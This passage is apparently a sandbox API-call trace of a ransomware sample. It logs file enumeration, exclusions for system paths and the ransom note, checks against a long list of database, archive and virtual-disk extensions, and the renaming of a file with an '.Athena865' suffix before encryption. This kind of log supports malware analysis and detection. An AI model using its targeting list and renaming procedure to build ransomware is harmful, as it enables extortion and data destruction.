returned 0x154 [0090.789] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7eb00) returned 0x2d50000 [0090.813] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.814] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.814] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.815] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0090.819] CloseHandle (hObject=0x154) returned 1 [0090.819] CloseHandle (hObject=0x17c) returned 1 [0090.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.822] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0090.822] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.822] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.822] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".") returned 1 [0090.822] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="..") returned 1 [0090.822] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="windows") returned 1 [0090.822] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="bootmgr") returned 1 [0090.822] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="temp") returned 1 [0090.822] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="pagefile.sys") returned 1 [0090.822] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="boot") returned 1 [0090.822] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="ids.txt") returned 1 [0090.822] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="ntuser.dat") returned 1 [0090.822] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="perflogs") returned 1 [0090.822] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2="MSBuild") returned 1 [0090.822] lstrlenW (lpString="WinMail.exe.mui") returned 15 [0090.822] lstrcpyW (in: lpString1=0x241e890, lpString2="WinMail.exe.mui" | out: lpString1="WinMail.exe.mui") returned="WinMail.exe.mui" [0090.822] lstrlenW (lpString="WinMail.exe.mui") returned 15 [0090.822] lstrlenW (lpString="Athena865") returned 9 [0090.822] lstrcmpiW (lpString1="l.exe.mui", lpString2="Athena865") returned 1 [0090.822] lstrlenW (lpString=".dll") returned 4 [0090.822] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".dll") returned 1 [0090.823] lstrlenW (lpString=".lnk") returned 4 [0090.823] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".lnk") returned 1 [0090.823] lstrlenW (lpString=".ini") returned 4 [0090.823] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".ini") returned 1 [0090.823] lstrlenW (lpString=".sys") returned 4 [0090.823] lstrcmpiW (lpString1="WinMail.exe.mui", lpString2=".sys") returned 1 [0090.823] lstrlenW (lpString="WinMail.exe.mui") returned 15 [0090.823] lstrlenW (lpString="bak") returned 3 [0090.823] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0090.823] lstrlenW (lpString="ba_") returned 3 [0090.823] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0090.823] lstrlenW (lpString="dbb") returned 3 [0090.823] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0090.823] lstrlenW (lpString="vmdk") returned 4 [0090.823] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0090.823] lstrlenW (lpString="rar") returned 3 [0090.823] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0090.823] lstrlenW (lpString="zip") returned 3 [0090.823] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0090.823] lstrlenW (lpString="tgz") returned 3 [0090.823] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0090.823] lstrlenW (lpString="vbox") returned 4 [0090.823] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0090.823] lstrlenW (lpString="vdi") returned 3 [0090.823] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0090.823] lstrlenW (lpString="vhd") returned 3 [0090.823] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0090.823] lstrlenW (lpString="vhdx") returned 4 [0090.823] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0090.823] lstrlenW (lpString="avhd") returned 4 [0090.824] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0090.824] lstrlenW (lpString="db") returned 2 [0090.824] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0090.824] lstrlenW (lpString="db2") returned 3 [0090.824] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0090.824] lstrlenW (lpString="db3") returned 3 [0090.824] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0090.824] lstrlenW (lpString="dbf") returned 3 [0090.824] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0090.824] lstrlenW (lpString="mdf") returned 3 [0090.824] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0090.824] lstrlenW (lpString="mdb") returned 3 [0090.824] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0090.824] lstrlenW (lpString="sql") returned 3 [0090.824] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0090.824] lstrlenW (lpString="sqlite") returned 6 [0090.824] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1 [0090.824] lstrlenW (lpString="sqlite3") returned 7 [0090.824] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1 [0090.824] lstrlenW (lpString="sqlitedb") returned 8 [0090.824] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1 [0090.824] lstrlenW (lpString="xml") returned 3 [0090.824] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0090.824] lstrlenW (lpString="$er") returned 3 [0090.824] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0090.824] lstrlenW (lpString="4dd") returned 3 [0090.824] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0090.824] lstrlenW (lpString="4dl") returned 3 [0090.824] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0090.824] lstrlenW (lpString="^^^") returned 3 [0090.825] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0090.825] lstrlenW (lpString="abs") returned 3 [0090.825] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0090.825] lstrlenW (lpString="abx") returned 3 [0090.825] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0090.825] lstrlenW (lpString="accdb") returned 5 [0090.825] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1 [0090.825] lstrlenW (lpString="accdc") returned 5 [0090.825] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1 [0090.825] lstrlenW (lpString="accde") returned 5 [0090.825] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1 [0090.825] lstrlenW (lpString="accdr") returned 5 [0090.825] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1 [0090.825] lstrlenW (lpString="accdt") returned 5 [0090.825] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1 [0090.825] lstrlenW (lpString="accdw") returned 5 [0090.825] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1 [0090.825] lstrlenW (lpString="accft") returned 5 [0090.825] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1 [0090.825] lstrlenW (lpString="adb") returned 3 [0090.825] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.825] lstrlenW (lpString="adb") returned 3 [0090.825] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.825] lstrlenW (lpString="ade") returned 3 [0090.825] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0090.825] lstrlenW (lpString="adf") returned 3 [0090.825] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0090.825] lstrlenW (lpString="adn") returned 3 [0090.825] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0090.825] lstrlenW (lpString="adp") returned 3 [0090.826] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0090.826] lstrlenW (lpString="alf") returned 3 [0090.826] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0090.826] lstrlenW (lpString="ask") returned 3 [0090.826] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0090.826] lstrlenW (lpString="btr") returned 3 [0090.826] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0090.826] lstrlenW (lpString="cat") returned 3 [0090.826] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0090.826] lstrlenW (lpString="cdb") returned 3 [0090.826] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0090.826] lstrlenW (lpString="ckp") returned 3 [0090.826] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0090.826] lstrlenW (lpString="cma") returned 3 [0090.826] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0090.826] lstrlenW (lpString="cpd") returned 3 [0090.826] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0090.826] lstrlenW (lpString="dacpac") returned 6 [0090.826] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1 [0090.826] lstrlenW (lpString="dad") returned 3 [0090.826] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0090.826] lstrlenW (lpString="dadiagrams") returned 10 [0090.826] lstrcmpiW (lpString1="il.exe.mui", lpString2="dadiagrams") returned 1 [0090.826] lstrlenW (lpString="daschema") returned 8 [0090.826] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1 [0090.826] lstrlenW (lpString="db-journal") returned 10 [0090.826] lstrcmpiW (lpString1="il.exe.mui", lpString2="db-journal") returned 1 [0090.826] lstrlenW (lpString="db-shm") returned 6 [0090.826] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1 [0090.826] lstrlenW (lpString="db-wal") returned 6 [0090.827] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1 [0090.827] lstrlenW (lpString="dbc") returned 3 [0090.827] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0090.827] lstrlenW (lpString="dbs") returned 3 [0090.827] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0090.827] lstrlenW (lpString="dbt") returned 3 [0090.827] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0090.827] lstrlenW (lpString="dbv") returned 3 [0090.827] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0090.827] lstrlenW (lpString="dbx") returned 3 [0090.827] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0090.827] lstrlenW (lpString="dcb") returned 3 [0090.827] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0090.827] lstrlenW (lpString="dct") returned 3 [0090.827] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0090.827] lstrlenW (lpString="dcx") returned 3 [0090.827] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0090.827] lstrlenW (lpString="ddl") returned 3 [0090.827] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0090.827] lstrlenW (lpString="dlis") returned 4 [0090.827] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0090.827] lstrlenW (lpString="dp1") returned 3 [0090.827] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0090.827] lstrlenW (lpString="dqy") returned 3 [0090.827] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0090.827] lstrlenW (lpString="dsk") returned 3 [0090.827] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0090.827] lstrlenW (lpString="dsn") returned 3 [0090.827] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0090.828] lstrlenW (lpString="dtsx") returned 4 [0090.828] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0090.828] lstrlenW (lpString="dxl") returned 3 [0090.828] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0090.828] lstrlenW (lpString="eco") returned 3 [0090.828] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0090.828] lstrlenW (lpString="ecx") returned 3 [0090.828] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0090.828] lstrlenW (lpString="edb") returned 3 [0090.828] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0090.828] lstrlenW (lpString="epim") returned 4 [0090.828] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0090.828] lstrlenW (lpString="fcd") returned 3 [0090.828] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0090.828] lstrlenW (lpString="fdb") returned 3 [0090.828] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0090.828] lstrlenW (lpString="fic") returned 3 [0090.828] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0090.828] lstrlenW (lpString="flexolibrary") returned 12 [0090.828] lstrcmpiW (lpString1="Mail.exe.mui", lpString2="flexolibrary") returned 1 [0090.828] lstrlenW (lpString="fm5") returned 3 [0090.828] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0090.828] lstrlenW (lpString="fmp") returned 3 [0090.828] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0090.828] lstrlenW (lpString="fmp12") returned 5 [0090.828] lstrcmpiW (lpString1="e.mui", lpString2="fmp12") returned -1 [0090.828] lstrlenW (lpString="fmpsl") returned 5 [0090.828] lstrcmpiW (lpString1="e.mui", lpString2="fmpsl") returned -1 [0090.828] lstrlenW (lpString="fol") returned 3 [0090.828] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0090.829] lstrlenW (lpString="fp3") returned 3 [0090.829] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0090.829] lstrlenW (lpString="fp4") returned 3 [0090.829] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0090.829] lstrlenW (lpString="fp5") returned 3 [0090.829] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0090.829] lstrlenW (lpString="fp7") returned 3 [0090.829] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0090.829] lstrlenW (lpString="fpt") returned 3 [0090.829] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0090.829] lstrlenW (lpString="frm") returned 3 [0090.829] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0090.829] lstrlenW (lpString="gdb") returned 3 [0090.829] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.829] lstrlenW (lpString="gdb") returned 3 [0090.829] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.829] lstrlenW (lpString="grdb") returned 4 [0090.829] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0090.829] lstrlenW (lpString="gwi") returned 3 [0090.829] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0090.829] lstrlenW (lpString="hdb") returned 3 [0090.829] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0090.829] lstrlenW (lpString="his") returned 3 [0090.829] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0090.829] lstrlenW (lpString="ib") returned 2 [0090.829] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0090.829] lstrlenW (lpString="idb") returned 3 [0090.829] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0090.829] lstrlenW (lpString="ihx") returned 3 [0090.829] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0090.829] lstrlenW (lpString="itdb") returned 4 [0090.829] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0090.830] lstrlenW (lpString="itw") returned 3 [0090.830] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0090.830] lstrlenW (lpString="jet") returned 3 [0090.830] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0090.830] lstrlenW (lpString="jtx") returned 3 [0090.830] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0090.830] lstrlenW (lpString="kdb") returned 3 [0090.830] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0090.830] lstrlenW (lpString="kexi") returned 4 [0090.830] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0090.830] lstrlenW (lpString="kexic") returned 5 [0090.830] lstrcmpiW (lpString1="e.mui", lpString2="kexic") returned -1 [0090.830] lstrlenW (lpString="kexis") returned 5 [0090.830] lstrcmpiW (lpString1="e.mui", lpString2="kexis") returned -1 [0090.830] lstrlenW (lpString="lgc") returned 3 [0090.830] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0090.830] lstrlenW (lpString="lwx") returned 3 [0090.830] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0090.830] lstrlenW (lpString="maf") returned 3 [0090.830] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0090.830] lstrlenW (lpString="maq") returned 3 [0090.830] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0090.830] lstrlenW (lpString="mar") returned 3 [0090.830] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0090.830] lstrlenW (lpString="marshal") returned 7 [0090.830] lstrcmpiW (lpString1="exe.mui", lpString2="marshal") returned -1 [0090.830] lstrlenW (lpString="mas") returned 3 [0090.830] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0090.830] lstrlenW (lpString="mav") returned 3 [0090.831] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0090.831] lstrlenW (lpString="maw") returned 3 [0090.831] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0090.831] lstrlenW (lpString="mdbhtml") returned 7 [0090.831] lstrcmpiW (lpString1="exe.mui", lpString2="mdbhtml") returned -1 [0090.831] lstrlenW (lpString="mdn") returned 3 [0090.831] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0090.831] lstrlenW (lpString="mdt") returned 3 [0090.831] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0090.831] lstrlenW (lpString="mfd") returned 3 [0090.831] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0090.831] lstrlenW (lpString="mpd") returned 3 [0090.831] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0090.831] lstrlenW (lpString="mrg") returned 3 [0090.831] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0090.831] lstrlenW (lpString="mud") returned 3 [0090.831] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0090.831] lstrlenW (lpString="mwb") returned 3 [0090.831] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0090.831] lstrlenW (lpString="myd") returned 3 [0090.831] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0090.831] lstrlenW (lpString="ndf") returned 3 [0090.831] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0090.831] lstrlenW (lpString="nnt") returned 3 [0090.831] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0090.831] lstrlenW (lpString="nrmlib") returned 6 [0090.831] lstrcmpiW (lpString1="xe.mui", lpString2="nrmlib") returned 1 [0090.831] lstrlenW (lpString="ns2") returned 3 [0090.832] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0090.832] lstrlenW (lpString="ns3") returned 3 [0090.832] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0090.832] lstrlenW (lpString="ns4") returned 3 [0090.832] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0090.832] lstrlenW (lpString="nsf") returned 3 [0090.832] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0090.832] lstrlenW (lpString="nv") returned 2 [0090.832] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0090.832] lstrlenW (lpString="nv2") returned 3 [0090.832] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0090.832] lstrlenW (lpString="nwdb") returned 4 [0090.832] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0090.832] lstrlenW (lpString="nyf") returned 3 [0090.832] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0090.832] lstrlenW (lpString="odb") returned 3 [0090.832] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.832] lstrlenW (lpString="odb") returned 3 [0090.832] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.832] lstrlenW (lpString="oqy") returned 3 [0090.832] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0090.832] lstrlenW (lpString="ora") returned 3 [0090.832] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0090.832] lstrlenW (lpString="orx") returned 3 [0090.832] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0090.832] lstrlenW (lpString="owc") returned 3 [0090.832] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0090.832] lstrlenW (lpString="p96") returned 3 [0090.832] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0090.833] lstrlenW (lpString="p97") returned 3 [0090.833] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0090.833] lstrlenW (lpString="pan") returned 3 [0090.833] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0090.833] lstrlenW (lpString="pdb") returned 3 [0090.833] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0090.833] lstrlenW (lpString="pdm") returned 3 [0090.833] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0090.833] lstrlenW (lpString="pnz") returned 3 [0090.833] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0090.833] lstrlenW (lpString="qry") returned 3 [0090.833] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0090.833] lstrlenW (lpString="qvd") returned 3 [0090.833] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0090.833] lstrlenW (lpString="rbf") returned 3 [0090.833] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0090.833] lstrlenW (lpString="rctd") returned 4 [0090.833] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0090.833] lstrlenW (lpString="rod") returned 3 [0090.833] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0090.833] lstrlenW (lpString="rodx") returned 4 [0090.833] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0090.833] lstrlenW (lpString="rpd") returned 3 [0090.833] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0090.833] lstrlenW (lpString="rsd") returned 3 [0090.833] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0090.833] lstrlenW (lpString="sas7bdat") returned 8 [0090.833] lstrcmpiW (lpString1=".exe.mui", lpString2="sas7bdat") returned -1 [0090.833] lstrlenW (lpString="sbf") returned 3 [0090.833] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0090.833] lstrlenW (lpString="scx") returned 3 [0090.833] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0090.834] lstrlenW (lpString="sdb") returned 3 [0090.834] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0090.834] lstrlenW (lpString="sdc") returned 3 [0090.834] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0090.834] lstrlenW (lpString="sdf") returned 3 [0090.834] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0090.834] lstrlenW (lpString="sis") returned 3 [0090.834] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0090.834] lstrlenW (lpString="spq") returned 3 [0090.834] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0090.834] lstrlenW (lpString="te") returned 2 [0090.834] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0090.834] lstrlenW (lpString="teacher") returned 7 [0090.834] lstrcmpiW (lpString1="exe.mui", lpString2="teacher") returned -1 [0090.834] lstrlenW (lpString="tmd") returned 3 [0090.834] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0090.834] lstrlenW (lpString="tps") returned 3 [0090.834] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0090.834] lstrlenW (lpString="trc") returned 3 [0090.834] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.834] lstrlenW (lpString="trc") returned 3 [0090.834] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.834] lstrlenW (lpString="trm") returned 3 [0090.834] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0090.834] lstrlenW (lpString="udb") returned 3 [0090.834] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0090.834] lstrlenW (lpString="udl") returned 3 [0090.834] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0090.834] lstrlenW (lpString="usr") returned 3 [0090.834] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0090.835] lstrlenW (lpString="v12") returned 3 [0090.835] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0090.835] lstrlenW (lpString="vis") returned 3 [0090.835] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0090.835] lstrlenW (lpString="vpd") returned 3 [0090.835] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0090.835] lstrlenW (lpString="vvv") returned 3 [0090.835] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0090.835] lstrlenW (lpString="wdb") returned 3 [0090.835] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0090.835] lstrlenW (lpString="wmdb") returned 4 [0090.835] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0090.835] lstrlenW (lpString="wrk") returned 3 [0090.835] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0090.835] lstrlenW (lpString="xdb") returned 3 [0090.835] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0090.835] lstrlenW (lpString="xld") returned 3 [0090.835] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0090.835] lstrlenW (lpString="xmlff") returned 5 [0090.835] lstrcmpiW (lpString1="e.mui", lpString2="xmlff") returned -1 [0090.835] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui.Athena865") returned 61 [0090.835] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui" (normalized: "c:\\program files\\windows mail\\en-us\\winmail.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui.Athena865" (normalized: "c:\\program files\\windows mail\\en-us\\winmail.exe.mui.athena865"), dwFlags=0x1) returned 1 [0090.837] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui.Athena865" (normalized: "c:\\program files\\windows mail\\en-us\\winmail.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.837] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5632) returned 1 [0090.837] RtlAllocateHeap 